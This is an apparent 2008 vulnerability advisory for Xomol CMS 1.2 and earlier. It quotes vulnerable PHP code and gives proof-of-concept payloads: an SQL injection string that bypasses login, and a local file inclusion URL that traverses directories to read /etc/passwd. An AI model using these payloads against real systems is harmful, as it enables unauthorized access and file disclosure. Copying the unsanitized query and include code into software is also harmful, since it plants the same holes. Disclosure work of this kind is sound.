Xomol CMS <= 1.2 Login Bypass / LFI Vulnerabilities

\#&#39;#/ (-.-) -------------oOO---(_)---OOo------------ | Xomol CMS v1 Login Bypass & LFI | | coded by DNX | ---------------------------------------- [!] Discovered.: DNX [!] Vendor.....: http://www.xomol.net [!] Detected...: 12.05.2008 [!] Reported...: 13.05.2008 (didn&#39;t work: host mail.xomol.net said: 554 5.7.1 - Relay access denied) [!] Response...: xx.xx.2008 [!] Background.: Xomol CMS is a content management system based on PHP and MySQL [!] Bug Bypass.: $_POST[&#39;email&#39;] and $_POST[&#39;password&#39;] in index.php near line 59 58: if(!empty($_POST[&#39;email&#39;])&&!empty($_POST[&#39;password&#39;])){ 59: $sql=&#39;SELECT user_id FROM users WHERE user_email=&#34;&#39;.$_POST[&#39;email&#39;].&#39;&#34; AND user_password=&#34;&#39;.md5($_POST[&#39;password&#39;]).&#39;&#34; AND user_status=1&#39;; 60: $result = sql_query($sql, $dbi); [!] Bug LFI....: $op in index.php near line 272 234: switch($op){ 270: default: 271: if (file_exists(&#39;modules/&#39;.$op.&#39;/index.php&#39;)) { 272: include(&#39;modules/&#39;.$op.&#39;/index.php&#39;); [!] PoC Bypass.: Login with email: &#34; OR user_group=1/*&#34;&#34; and password: not empty (works only with magic_quotes_gpc = off) [!] PoC LFI....: http://127.0.0.1/xomol/index.php?op=../../../../../../../../../../etc/passwd%00 # milw0rm.com [2008-05-25]